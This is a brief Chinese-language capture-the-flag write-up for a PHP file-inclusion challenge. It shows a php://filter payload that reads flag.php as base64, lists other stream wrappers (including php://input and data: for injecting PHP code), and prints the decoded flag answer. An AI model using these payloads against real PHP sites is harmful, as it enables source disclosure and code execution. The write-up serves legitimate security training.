点击tips,出现如下的一句话:
Can you find out the flag?
然后就没有其他东西了,但我们注意到url中存在flag.php
加之题目include让我们知道可能有文件包含漏洞
所以我们可以尝试使用伪协议来读取文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
php伪协议:
php://filter、 file://可以访问本地的文件
zip:// 、 phar:// 可以访问本地压缩文件
php://input post 写入php代码
data:text/plain,php代码
之后可以顺利得到一串base64编码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjhiN2ExODEtNGY5OC00ODBjLWExZjctMzU2MjM2NGE3ODYzfQo=
进行base64解码之后得到flag:flag{28b7a181-4f98-480c-a1f7-3562364a7863}